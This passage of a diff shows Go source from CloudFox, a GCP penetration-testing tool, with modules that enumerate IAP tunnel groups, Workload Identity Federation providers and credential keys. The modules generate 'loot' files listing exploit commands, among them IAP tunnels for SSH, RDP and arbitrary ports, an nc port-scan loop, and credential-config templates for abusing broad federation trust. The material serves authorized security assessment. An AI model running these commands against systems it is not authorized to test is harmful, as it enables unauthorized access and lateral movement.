func (m *IAPModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.InfoM(fmt.Sprintf("Enumerating IAP in project: %s", projectID), globals.GCP_IAP_MODULE_NAME)
}
m.mu.Lock()
// Initialize loot for this project
if m.LootMap[projectID] == nil {
m.LootMap[projectID] = make(map[string]*internal.LootFile)
m.LootMap[projectID]["iap-commands"] = &internal.LootFile{
Name: "iap-commands",
Contents: "# IAP Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
}
}
m.mu.Unlock()
svc := iapservice.New()
// Get tunnel destination groups
groups, err := svc.ListTunnelDestGroups(projectID)
if err != nil {
m.CommandCounter.IncrError()
gcpinternal.HandleGCPError(err, logger, globals.GCP_IAP_MODULE_NAME,
fmt.Sprintf("Could not enumerate IAP tunnel groups in project %s", projectID))
} else {
m.mu.Lock()
m.ProjectTunnelDestGroups[projectID] = groups
for _, group := range groups {
m.addToLoot(projectID, group)
}
m.mu.Unlock()
}
}
func (m *IAPModule) addToLoot(projectID string, group iapservice.TunnelDestGroup) {
lootFile := m.LootMap[projectID]["iap-commands"]
if lootFile == nil {
return
}
lootFile.Contents += fmt.Sprintf(
"# =============================================================================\n"+
"# TUNNEL DESTINATION GROUP: %s\n"+
"# =============================================================================\n"+
"# Project: %s\n"+
"# Region: %s\n"+
"# CIDRs: %s\n"+
"# FQDNs: %s\n",
group.Name, group.ProjectID, group.Region,
strings.Join(group.CIDRs, ", "),
strings.Join(group.FQDNs, ", "),
)
lootFile.Contents += fmt.Sprintf(`
# === ENUMERATION COMMANDS ===
# Describe tunnel destination group:
gcloud iap tcp dest-groups describe %s --region=%s --project=%s
# List IAM policy for tunnel destination group:
gcloud iap tcp dest-groups get-iam-policy %s --region=%s --project=%s
# List all IAP tunnel resources in project:
gcloud iap tcp dest-groups list --region=%s --project=%s
# Check who can use IAP tunnels in this project:
gcloud projects get-iam-policy %s --format=json | jq '.bindings[] | select(.role | contains("iap.tunnelResourceAccessor"))'
`, group.Name, group.Region, group.ProjectID,
group.Name, group.Region, group.ProjectID,
group.Region, group.ProjectID,
group.ProjectID,
)
// === EXPLOIT COMMANDS - IAP Tunnel ===
lootFile.Contents += "# === EXPLOIT COMMANDS ===\n\n"
// SSH through IAP tunnel
for _, cidr := range group.CIDRs {
lootFile.Contents += fmt.Sprintf(
"# Start IAP TCP tunnel to hosts in CIDR %s:\n"+
"gcloud compute start-iap-tunnel INSTANCE_NAME 22 --local-host-port=localhost:2222 --zone=ZONE --project=%s\n"+
"ssh -p 2222 localhost\n\n",
cidr, group.ProjectID,
)
}
for _, fqdn := range group.FQDNs {
lootFile.Contents += fmt.Sprintf(
"# Start IAP TCP tunnel to %s:\n"+
"gcloud compute start-iap-tunnel INSTANCE_NAME 22 --local-host-port=localhost:2222 --zone=ZONE --project=%s\n"+
"ssh -p 2222 localhost\n\n",
fqdn, group.ProjectID,
)
}
lootFile.Contents += fmt.Sprintf(
"# SSH to a compute instance through IAP (direct):\n"+
"gcloud compute ssh INSTANCE_NAME --tunnel-through-iap --zone=ZONE --project=%s\n\n"+
"# Forward RDP through IAP (Windows instances):\n"+
"gcloud compute start-iap-tunnel INSTANCE_NAME 3389 --local-host-port=localhost:3389 --zone=ZONE --project=%s\n\n"+
"# Forward arbitrary port through IAP:\n"+
"gcloud compute start-iap-tunnel INSTANCE_NAME 8080 --local-host-port=localhost:8080 --zone=ZONE --project=%s\n\n"+
"# Port scan through IAP tunnel (test internal connectivity):\n"+
"for PORT in 22 80 443 3306 5432 8080 8443; do\n"+
" gcloud compute start-iap-tunnel INSTANCE_NAME $PORT --local-host-port=localhost:$PORT --zone=ZONE --project=%s &\n"+
" sleep 1 && nc -z localhost $PORT 2>/dev/null && echo \"Port $PORT is open\" || echo \"Port $PORT is closed\"\n"+
" kill %%1 2>/dev/null\n"+
"done\n\n",
group.ProjectID,
group.ProjectID,
group.ProjectID,
group.ProjectID,
)
}
func (m *IAPModule) writeOutput(ctx context.Context, logger internal.Logger) {
if m.Hierarchy != nil && !m.FlatOutput {
m.writeHierarchicalOutput(ctx, logger)
} else {
m.writeFlatOutput(ctx, logger)
}
}
func (m *IAPModule) getHeader() []string {
return []string{
"Project",
"Name",
"Region",
"CIDRs",
"FQDNs",
"IAM Binding Role",
"IAM Binding Principal",
}
}
func (m *IAPModule) groupsToTableBody(groups []iapservice.TunnelDestGroup) [][]string {
var body [][]string
for _, group := range groups {
cidrs := strings.Join(group.CIDRs, ", ")
if cidrs == "" {
cidrs = "-"
}
fqdns := strings.Join(group.FQDNs, ", ")
if fqdns == "" {
fqdns = "-"
}
if len(group.IAMBindings) > 0 {
for _, binding := range group.IAMBindings {
body = append(body, []string{
m.GetProjectName(group.ProjectID),
group.Name,
group.Region,
cidrs,
fqdns,
binding.Role,
binding.Member,
})
}
} else {
body = append(body, []string{
m.GetProjectName(group.ProjectID),
group.Name,
group.Region,
cidrs,
fqdns,
"-",
"-",
})
}
}
return body
}
func (m *IAPModule) buildTablesForProject(projectID string) []internal.TableFile {
var tableFiles []internal.TableFile
if groups, ok := m.ProjectTunnelDestGroups[projectID]; ok && len(groups) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: "iap-tunnel-groups",
Header: m.getHeader(),
Body: m.groupsToTableBody(groups),
})
}
return tableFiles
}
func (m *IAPModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
outputData := internal.HierarchicalOutputData{
OrgLevelData: make(map[string]internal.CloudfoxOutput),
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
}
for projectID := range m.ProjectTunnelDestGroups {
tableFiles := m.buildTablesForProject(projectID)
var lootFiles []internal.LootFile
if projectLoot, ok := m.LootMap[projectID]; ok {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
outputData.ProjectLevelData[projectID] = IAPOutput{Table: tableFiles, Loot: lootFiles}
}
pathBuilder := m.BuildPathBuilder()
err := internal.HandleHierarchicalOutputSmart("gcp", m.Format, m.Verbosity, m.WrapTable, pathBuilder, outputData)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_IAP_MODULE_NAME)
}
}
func (m *IAPModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
allGroups := m.getAllTunnelDestGroups()
var tables []internal.TableFile
if len(allGroups) > 0 {
tables = append(tables, internal.TableFile{
Name: "iap-tunnel-groups",
Header: m.getHeader(),
Body: m.groupsToTableBody(allGroups),
})
}
var lootFiles []internal.LootFile
for _, projectLoot := range m.LootMap {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
output := IAPOutput{Table: tables, Loot: lootFiles}
scopeNames := make([]string, len(m.ProjectIDs))
for i, id := range m.ProjectIDs {
scopeNames[i] = m.GetProjectName(id)
}
err := internal.HandleOutputSmart("gcp", m.Format, m.OutputDirectory, m.Verbosity, m.WrapTable,
"project", m.ProjectIDs, scopeNames, m.Account, output)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_IAP_MODULE_NAME)
}
}
+621
View File
@@ -0,0 +1,621 @@
package commands
import (
"context"
"fmt"
"strings"
"sync"
workloadidentityservice "github.com/BishopFox/cloudfox/gcp/services/workloadIdentityService"
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal"
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
"github.com/spf13/cobra"
)
var GCPIdentityFederationCommand = &cobra.Command{
Use: globals.GCP_IDENTITY_FEDERATION_MODULE_NAME,
Aliases: []string{"federation", "wif", "federated-identity"},
Short: "Enumerate Workload Identity Federation (external identities)",
Long: `Enumerate Workload Identity Federation pools, providers, and federated bindings.
Workload Identity Federation allows external identities (AWS, GitHub Actions,
GitLab CI, Azure AD, etc.) to authenticate as GCP service accounts without
using service account keys.
Features:
- Lists Workload Identity Pools and Providers
- Analyzes AWS, OIDC (GitHub Actions, GitLab CI), and SAML providers
- Identifies risky provider configurations (missing attribute conditions)
- Shows federated identity bindings to GCP service accounts
- Generates exploitation commands for pentesting
Security Considerations:
- Providers without attribute conditions allow ANY identity from the source
- OIDC providers (GitHub Actions, GitLab) may allow any repo/pipeline to authenticate
- AWS providers allow cross-account access from the configured AWS account
- Federated identities inherit all permissions of the bound GCP service account
TIP: Run 'workload-identity' to enumerate GKE-specific K8s SA -> GCP SA bindings.
TIP: Run foxmapper first to populate the Attack Paths column with privesc/exfil/lateral movement analysis.`,
Run: runGCPIdentityFederationCommand,
}
// ------------------------------
// Module Struct
// ------------------------------
type IdentityFederationModule struct {
gcpinternal.BaseGCPModule
ProjectPools map[string][]workloadidentityservice.WorkloadIdentityPool // projectID -> pools
ProjectProviders map[string][]workloadidentityservice.WorkloadIdentityProvider // projectID -> providers
ProjectFederatedBindings map[string][]workloadidentityservice.FederatedIdentityBinding // projectID -> federated bindings
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
FoxMapperCache *gcpinternal.FoxMapperCache
mu sync.Mutex
}
// ------------------------------
// Output Struct
// ------------------------------
type IdentityFederationOutput struct {
Table []internal.TableFile
Loot []internal.LootFile
}
func (o IdentityFederationOutput) TableFiles() []internal.TableFile { return o.Table }
func (o IdentityFederationOutput) LootFiles() []internal.LootFile { return o.Loot }
// ------------------------------
// Command Entry Point
// ------------------------------
func runGCPIdentityFederationCommand(cmd *cobra.Command, args []string) {
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_IDENTITY_FEDERATION_MODULE_NAME)
if err != nil {
return
}
module := &IdentityFederationModule{
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
ProjectPools: make(map[string][]workloadidentityservice.WorkloadIdentityPool),
ProjectProviders: make(map[string][]workloadidentityservice.WorkloadIdentityProvider),
ProjectFederatedBindings: make(map[string][]workloadidentityservice.FederatedIdentityBinding),
LootMap: make(map[string]map[string]*internal.LootFile),
}
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
}
// ------------------------------
// Module Execution
// ------------------------------
func (m *IdentityFederationModule) Execute(ctx context.Context, logger internal.Logger) {
m.FoxMapperCache = gcpinternal.GetFoxMapperCacheFromContext(ctx)
if m.FoxMapperCache != nil && m.FoxMapperCache.IsPopulated() {
logger.InfoM("Using FoxMapper cache for attack path analysis", globals.GCP_IDENTITY_FEDERATION_MODULE_NAME)
}
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_IDENTITY_FEDERATION_MODULE_NAME, m.processProject)
allPools := m.getAllPools()
allProviders := m.getAllProviders()
allFederatedBindings := m.getAllFederatedBindings()
if len(allPools) == 0 {
logger.InfoM("No Workload Identity Federation configurations found", globals.GCP_IDENTITY_FEDERATION_MODULE_NAME)
return
}
logger.SuccessM(fmt.Sprintf("Found %d pool(s), %d provider(s), %d federated binding(s)",
len(allPools), len(allProviders), len(allFederatedBindings)), globals.GCP_IDENTITY_FEDERATION_MODULE_NAME)
m.writeOutput(ctx, logger)
}
// getAllPools returns all pools from all projects
func (m *IdentityFederationModule) getAllPools() []workloadidentityservice.WorkloadIdentityPool {
var all []workloadidentityservice.WorkloadIdentityPool
for _, pools := range m.ProjectPools {
all = append(all, pools...)
}
return all
}
// getAllProviders returns all providers from all projects
func (m *IdentityFederationModule) getAllProviders() []workloadidentityservice.WorkloadIdentityProvider {
var all []workloadidentityservice.WorkloadIdentityProvider
for _, providers := range m.ProjectProviders {
all = append(all, providers...)
}
return all
}
// getAllFederatedBindings returns all federated bindings from all projects
func (m *IdentityFederationModule) getAllFederatedBindings() []workloadidentityservice.FederatedIdentityBinding {
var all []workloadidentityservice.FederatedIdentityBinding
for _, bindings := range m.ProjectFederatedBindings {
all = append(all, bindings...)
}
return all
}
// ------------------------------
// Project Processor
// ------------------------------
func (m *IdentityFederationModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.InfoM(fmt.Sprintf("Enumerating Identity Federation in project: %s", projectID), globals.GCP_IDENTITY_FEDERATION_MODULE_NAME)
}
wiSvc := workloadidentityservice.New()
// Get Workload Identity Pools
allPools, err := wiSvc.ListWorkloadIdentityPools(projectID)
if err != nil {
gcpinternal.HandleGCPError(err, logger, globals.GCP_IDENTITY_FEDERATION_MODULE_NAME,
fmt.Sprintf("Could not list Workload Identity Pools in project %s", projectID))
return
}
// Filter out GKE Workload Identity pools (*.svc.id.goog) - those belong to the workload-identity module
var pools []workloadidentityservice.WorkloadIdentityPool
for _, pool := range allPools {
if !strings.HasSuffix(pool.PoolID, ".svc.id.goog") {
pools = append(pools, pool)
}
}
var providers []workloadidentityservice.WorkloadIdentityProvider
// Get providers for each pool
for _, pool := range pools {
poolProviders, err := wiSvc.ListWorkloadIdentityProviders(projectID, pool.PoolID)
if err != nil {
gcpinternal.HandleGCPError(err, logger, globals.GCP_IDENTITY_FEDERATION_MODULE_NAME,
fmt.Sprintf("Could not list providers for pool %s", pool.PoolID))
continue
}
providers = append(providers, poolProviders...)
}
// Find federated identity bindings
fedBindings, err := wiSvc.FindFederatedIdentityBindings(projectID, pools)
if err != nil {
gcpinternal.HandleGCPError(err, logger, globals.GCP_IDENTITY_FEDERATION_MODULE_NAME,
fmt.Sprintf("Could not find federated identity bindings in project %s", projectID))
}
m.mu.Lock()
m.ProjectPools[projectID] = pools
m.ProjectProviders[projectID] = providers
m.ProjectFederatedBindings[projectID] = fedBindings
// Initialize loot for this project
if m.LootMap[projectID] == nil {
m.LootMap[projectID] = make(map[string]*internal.LootFile)
m.LootMap[projectID]["identity-federation-commands"] = &internal.LootFile{
Name: "identity-federation-commands",
Contents: "# Identity Federation Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
}
}
for _, pool := range pools {
m.addPoolToLoot(projectID, pool)
}
for _, provider := range providers {
m.addProviderToLoot(projectID, provider)
}
for _, fedBinding := range fedBindings {
m.addFederatedBindingToLoot(projectID, fedBinding)
}
m.mu.Unlock()
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.InfoM(fmt.Sprintf("Found %d pool(s), %d provider(s), %d federated binding(s) in project %s",
len(pools), len(providers), len(fedBindings), projectID), globals.GCP_IDENTITY_FEDERATION_MODULE_NAME)
}
}
// ------------------------------
// Loot File Management
// ------------------------------
func (m *IdentityFederationModule) addPoolToLoot(projectID string, pool workloadidentityservice.WorkloadIdentityPool) {
lootFile := m.LootMap[projectID]["identity-federation-commands"]
if lootFile == nil {
return
}
status := "Active"
if pool.Disabled {
status = "Disabled"
}
lootFile.Contents += fmt.Sprintf(
"# =============================================================================\n"+
"# FEDERATION POOL: %s\n"+
"# =============================================================================\n"+
"# Display Name: %s\n"+
"# State: %s (%s)\n"+
"# Description: %s\n\n"+
"# === ENUMERATION COMMANDS ===\n\n"+
"# Describe pool:\n"+
"gcloud iam workload-identity-pools describe %s --location=global --project=%s\n\n"+
"# List providers:\n"+
"gcloud iam workload-identity-pools providers list --workload-identity-pool=%s --location=global --project=%s\n\n",
pool.PoolID,
pool.DisplayName,
pool.State, status,
pool.Description,
pool.PoolID, pool.ProjectID,
pool.PoolID, pool.ProjectID,
)
}
func (m *IdentityFederationModule) addProviderToLoot(projectID string, provider workloadidentityservice.WorkloadIdentityProvider) {
lootFile := m.LootMap[projectID]["identity-federation-commands"]
if lootFile == nil {
return
}
lootFile.Contents += fmt.Sprintf(
"# -----------------------------------------------------------------------------\n"+
"# PROVIDER: %s/%s (%s)\n"+
"# -----------------------------------------------------------------------------\n",
provider.PoolID, provider.ProviderID,
provider.ProviderType,
)
if provider.ProviderType == "AWS" {
lootFile.Contents += fmt.Sprintf(
"# AWS Account: %s\n", provider.AWSAccountID)
} else if provider.ProviderType == "OIDC" {
lootFile.Contents += fmt.Sprintf(
"# OIDC Issuer: %s\n", provider.OIDCIssuerURI)
}
if provider.AttributeCondition != "" {
lootFile.Contents += fmt.Sprintf(
"# Attribute Condition: %s\n", provider.AttributeCondition)
} else {
lootFile.Contents += "# Attribute Condition: NONE (any identity from this provider can authenticate!)\n"
}
lootFile.Contents += "\n# === ENUMERATION COMMANDS ===\n\n"
lootFile.Contents += fmt.Sprintf(
"# Describe provider:\n"+
"gcloud iam workload-identity-pools providers describe %s --workload-identity-pool=%s --location=global --project=%s\n\n",
provider.ProviderID, provider.PoolID, provider.ProjectID,
)
// Add exploitation guidance based on provider type
lootFile.Contents += "# === EXPLOIT COMMANDS ===\n\n"
switch provider.ProviderType {
case "AWS":
lootFile.Contents += fmt.Sprintf(
"# From AWS account %s, exchange credentials:\n"+
"# gcloud iam workload-identity-pools create-cred-config \\\n"+
"# projects/%s/locations/global/workloadIdentityPools/%s/providers/%s \\\n"+
"# --aws --output-file=gcp-creds.json\n\n",
provider.AWSAccountID,
provider.ProjectID, provider.PoolID, provider.ProviderID,
)
case "OIDC":
if strings.Contains(provider.OIDCIssuerURI, "github") {
lootFile.Contents += fmt.Sprintf(
"# From GitHub Actions workflow, add:\n"+
"# permissions:\n"+
"# id-token: write\n"+
"# contents: read\n"+
"# Then use:\n"+
"# gcloud iam workload-identity-pools create-cred-config \\\n"+
"# projects/%s/locations/global/workloadIdentityPools/%s/providers/%s \\\n"+
"# [email protected] \\\n"+
"# --output-file=gcp-creds.json\n\n",
provider.ProjectID, provider.PoolID, provider.ProviderID,
)
}
}
}
func (m *IdentityFederationModule) addFederatedBindingToLoot(projectID string, binding workloadidentityservice.FederatedIdentityBinding) {
lootFile := m.LootMap[projectID]["identity-federation-commands"]
if lootFile == nil {
return
}
lootFile.Contents += fmt.Sprintf(
"# -----------------------------------------------------------------------------\n"+
"# FEDERATED BINDING\n"+
"# -----------------------------------------------------------------------------\n"+
"# Pool: %s\n"+
"# GCP Service Account: %s\n"+
"# External Subject: %s\n\n",
binding.PoolID,
binding.GCPServiceAccount,
binding.ExternalSubject,
)
}
// ------------------------------
// Output Generation
// ------------------------------
func (m *IdentityFederationModule) writeOutput(ctx context.Context, logger internal.Logger) {
if m.Hierarchy != nil && !m.FlatOutput {
m.writeHierarchicalOutput(ctx, logger)
} else {
m.writeFlatOutput(ctx, logger)
}
}
func (m *IdentityFederationModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
outputData := internal.HierarchicalOutputData{
OrgLevelData: make(map[string]internal.CloudfoxOutput),
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
}
for projectID := range m.ProjectPools {
tables := m.buildTablesForProject(projectID)
var lootFiles []internal.LootFile
if projectLoot, ok := m.LootMap[projectID]; ok {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
outputData.ProjectLevelData[projectID] = IdentityFederationOutput{Table: tables, Loot: lootFiles}
}
pathBuilder := m.BuildPathBuilder()
err := internal.HandleHierarchicalOutputSmart(
"gcp",
m.Format,
m.Verbosity,
m.WrapTable,
pathBuilder,
outputData,
)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_IDENTITY_FEDERATION_MODULE_NAME)
m.CommandCounter.IncrError()
}
}
func (m *IdentityFederationModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
allPools := m.getAllPools()
allProviders := m.getAllProviders()
allFederatedBindings := m.getAllFederatedBindings()
tables := m.buildTables(allPools, allProviders, allFederatedBindings)
var lootFiles []internal.LootFile
for _, projectLoot := range m.LootMap {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
output := IdentityFederationOutput{
Table: tables,
Loot: lootFiles,
}
scopeNames := make([]string, len(m.ProjectIDs))
for i, id := range m.ProjectIDs {
scopeNames[i] = m.GetProjectName(id)
}
err := internal.HandleOutputSmart(
"gcp",
m.Format,
m.OutputDirectory,
m.Verbosity,
m.WrapTable,
"project",
m.ProjectIDs,
scopeNames,
m.Account,
output,
)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_IDENTITY_FEDERATION_MODULE_NAME)
m.CommandCounter.IncrError()
}
}
// buildTablesForProject builds tables for a specific project
func (m *IdentityFederationModule) buildTablesForProject(projectID string) []internal.TableFile {
pools := m.ProjectPools[projectID]
providers := m.ProjectProviders[projectID]
federatedBindings := m.ProjectFederatedBindings[projectID]
return m.buildTables(pools, providers, federatedBindings)
}
// buildTables builds all tables from the given data
func (m *IdentityFederationModule) buildTables(
pools []workloadidentityservice.WorkloadIdentityPool,
providers []workloadidentityservice.WorkloadIdentityProvider,
federatedBindings []workloadidentityservice.FederatedIdentityBinding,
) []internal.TableFile {
var tables []internal.TableFile
// Pools table
if len(pools) > 0 {
poolsHeader := []string{
"Project",
"Pool ID",
"Display Name",
"State",
"Disabled",
}
var poolsBody [][]string
for _, pool := range pools {
disabled := "No"
if pool.Disabled {
disabled = "Yes"
}
poolsBody = append(poolsBody, []string{
m.GetProjectName(pool.ProjectID),
pool.PoolID,
pool.DisplayName,
pool.State,
disabled,
})
}
tables = append(tables, internal.TableFile{
Name: "identity-federation-pools",
Header: poolsHeader,
Body: poolsBody,
})
}
// Providers table
if len(providers) > 0 {
providersHeader := []string{
"Project",
"Pool",
"Provider",
"Type",
"OIDC Issuer / AWS Account",
"Trust Scope",
"Access Condition",
}
var providersBody [][]string
for _, p := range providers {
issuerOrAccount := "-"
if p.ProviderType == "AWS" {
issuerOrAccount = p.AWSAccountID
} else if p.ProviderType == "OIDC" {
issuerOrAccount = p.OIDCIssuerURI
}
attrCond := "NONE"
if p.AttributeCondition != "" {
attrCond = p.AttributeCondition
}
trustScope := analyzeTrustScope(p)
providersBody = append(providersBody, []string{
m.GetProjectName(p.ProjectID),
p.PoolID,
p.ProviderID,
p.ProviderType,
issuerOrAccount,
trustScope,
attrCond,
})
}
tables = append(tables, internal.TableFile{
Name: "identity-federation-providers",
Header: providersHeader,
Body: providersBody,
})
}
// Federated bindings table
if len(federatedBindings) > 0 {
fedBindingsHeader := []string{
"Project",
"Pool",
"GCP Service Account",
"External Identity",
"SA Attack Paths",
}
var fedBindingsBody [][]string
for _, fb := range federatedBindings {
attackPaths := gcpinternal.GetAttackSummaryFromCaches(m.FoxMapperCache, nil, fb.GCPServiceAccount)
fedBindingsBody = append(fedBindingsBody, []string{
m.GetProjectName(fb.ProjectID),
fb.PoolID,
fb.GCPServiceAccount,
fb.ExternalSubject,
attackPaths,
})
}
tables = append(tables, internal.TableFile{
Name: "identity-federation-bindings",
Header: fedBindingsHeader,
Body: fedBindingsBody,
})
}
return tables
}
// analyzeTrustScope examines a provider's configuration and returns a human-readable
// summary of how broad the trust is. Flags overly permissive configurations.
func analyzeTrustScope(p workloadidentityservice.WorkloadIdentityProvider) string {
// No attribute condition = any identity from this provider
if p.AttributeCondition == "" {
switch p.ProviderType {
case "AWS":
return "BROAD: Any role in AWS account " + p.AWSAccountID
case "OIDC":
return "BROAD: Any identity from issuer"
case "SAML":
return "BROAD: Any SAML assertion"
default:
return "BROAD: No condition set"
}
}
cond := p.AttributeCondition
var issues []string
// Check for wildcard patterns in the condition
if strings.Contains(cond, `"*"`) || strings.Contains(cond, `'*'`) {
issues = append(issues, "wildcard (*) in condition")
}
// GitHub Actions specific analysis
if p.ProviderType == "OIDC" && strings.Contains(p.OIDCIssuerURI, "github") {
// Check if repo is scoped
if !strings.Contains(cond, "repository") && !strings.Contains(cond, "repo") {
issues = append(issues, "no repo restriction")
}
// Check if branch/ref is scoped
if strings.Contains(cond, "repository") || strings.Contains(cond, "repo") {
if !strings.Contains(cond, "ref") && !strings.Contains(cond, "branch") {
issues = append(issues, "no branch restriction")
}
}
// Check for org-wide trust (repo starts with org/)
if strings.Contains(cond, ".startsWith(") {
issues = append(issues, "prefix match (org-wide?)")
}
}
// GitLab CI specific analysis
if p.ProviderType == "OIDC" && strings.Contains(p.OIDCIssuerURI, "gitlab") {
if !strings.Contains(cond, "project_path") && !strings.Contains(cond, "namespace_path") {
issues = append(issues, "no project restriction")
}
if !strings.Contains(cond, "ref") && !strings.Contains(cond, "branch") {
issues = append(issues, "no branch restriction")
}
}
// AWS specific analysis
if p.ProviderType == "AWS" {
if !strings.Contains(cond, "arn") && !strings.Contains(cond, "account") {
issues = append(issues, "no role/account restriction")
}
}
if len(issues) > 0 {
return "BROAD: " + strings.Join(issues, ", ")
}
return "Scoped"
}
+960 -92
View File
File diff suppressed because it is too large. Load diff
File diff suppressed because it is too large. Load diff
+574
View File
@@ -0,0 +1,574 @@
package commands
import (
"context"
"fmt"
"strings"
"sync"
"time"
apikeysservice "github.com/BishopFox/cloudfox/gcp/services/apikeysService"
hmacservice "github.com/BishopFox/cloudfox/gcp/services/hmacService"
IAMService "github.com/BishopFox/cloudfox/gcp/services/iamService"
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal"
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
"github.com/spf13/cobra"
)
var GCPKeysCommand = &cobra.Command{
Use: globals.GCP_KEYS_MODULE_NAME,
Aliases: []string{"credentials", "creds", "access-keys"},
Short: "Enumerate all GCP keys (SA keys, HMAC keys, API keys)",
Long: `Enumerate all types of GCP keys and credentials.
Key Types:
- SA Keys: Service account RSA keys for OAuth 2.0 authentication
- HMAC Keys: S3-compatible access keys for Cloud Storage
- API Keys: Project-level keys for API access (Maps, Translation, etc.)
Features:
- Unified view of all credential types
- Shows key age and expiration status
- Identifies Google-managed vs user-managed keys
- Generates exploitation commands for penetration testing`,
Run: runGCPKeysCommand,
}
// UnifiedKeyInfo represents a key from any source
type UnifiedKeyInfo struct {
ProjectID string
KeyType string // "SA Key", "HMAC", "API Key"
KeyID string
Owner string // Email for SA/HMAC, "Project-level" for API keys
DisplayName string
Origin string // "Google Managed", "User Managed", "Service Account", "User", "-"
Algorithm string // Key algorithm (e.g., "KEY_ALG_RSA_2048")
State string // "ACTIVE", "INACTIVE", "DELETED", "DISABLED"
CreateTime time.Time
ExpireTime time.Time
Expired bool
DWDEnabled bool // For SA keys - whether the SA has Domain-Wide Delegation enabled
Restrictions string // For API keys only
KeyString string // For API keys only (if accessible)
}
type KeysModule struct {
gcpinternal.BaseGCPModule
ProjectKeys map[string][]UnifiedKeyInfo // projectID -> keys
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
mu sync.Mutex
}
type KeysOutput struct {
Table []internal.TableFile
Loot []internal.LootFile
}
func (o KeysOutput) TableFiles() []internal.TableFile { return o.Table }
func (o KeysOutput) LootFiles() []internal.LootFile { return o.Loot }
func runGCPKeysCommand(cmd *cobra.Command, args []string) {
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_KEYS_MODULE_NAME)
if err != nil {
return
}
module := &KeysModule{
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
ProjectKeys: make(map[string][]UnifiedKeyInfo),
LootMap: make(map[string]map[string]*internal.LootFile),
}
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
}
func (m *KeysModule) Execute(ctx context.Context, logger internal.Logger) {
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_KEYS_MODULE_NAME, m.processProject)
allKeys := m.getAllKeys()
if len(allKeys) == 0 {
logger.InfoM("No keys found", globals.GCP_KEYS_MODULE_NAME)
return
}
// Count by type
saKeyCount := 0
hmacKeyCount := 0
apiKeyCount := 0
userManagedCount := 0
for _, key := range allKeys {
switch key.KeyType {
case "SA Key":
saKeyCount++
if key.Origin == "User Managed" {
userManagedCount++
}
case "HMAC":
hmacKeyCount++
case "API Key":
apiKeyCount++
}
}
logger.SuccessM(fmt.Sprintf("Found %d key(s) (%d SA keys [%d user-managed], %d HMAC keys, %d API keys)",
len(allKeys), saKeyCount, userManagedCount, hmacKeyCount, apiKeyCount), globals.GCP_KEYS_MODULE_NAME)
m.writeOutput(ctx, logger)
}
// getAllKeys returns all keys from all projects
func (m *KeysModule) getAllKeys() []UnifiedKeyInfo {
var all []UnifiedKeyInfo
for _, keys := range m.ProjectKeys {
all = append(all, keys...)
}
return all
}
func (m *KeysModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.InfoM(fmt.Sprintf("Enumerating keys in project: %s", projectID), globals.GCP_KEYS_MODULE_NAME)
}
var projectKeys []UnifiedKeyInfo
// 1. Enumerate Service Account Keys
iamService := IAMService.New()
serviceAccounts, err := iamService.ServiceAccounts(projectID)
if err != nil {
gcpinternal.HandleGCPError(err, logger, globals.GCP_KEYS_MODULE_NAME,
fmt.Sprintf("Could not enumerate service accounts in project %s", projectID))
} else {
for _, sa := range serviceAccounts {
// Check if DWD is enabled (OAuth2ClientID is set)
dwdEnabled := sa.OAuth2ClientID != ""
for _, key := range sa.Keys {
// Extract key ID from full name
keyID := key.Name
if parts := strings.Split(key.Name, "/"); len(parts) > 0 {
keyID = parts[len(parts)-1]
}
origin := "Google Managed"
if key.KeyType == "USER_MANAGED" {
origin = "User Managed"
}
state := "ACTIVE"
if key.Disabled {
state = "DISABLED"
}
expired := false
if !key.ValidBefore.IsZero() && time.Now().After(key.ValidBefore) {
expired = true
}
projectKeys = append(projectKeys, UnifiedKeyInfo{
ProjectID: projectID,
KeyType: "SA Key",
KeyID: keyID,
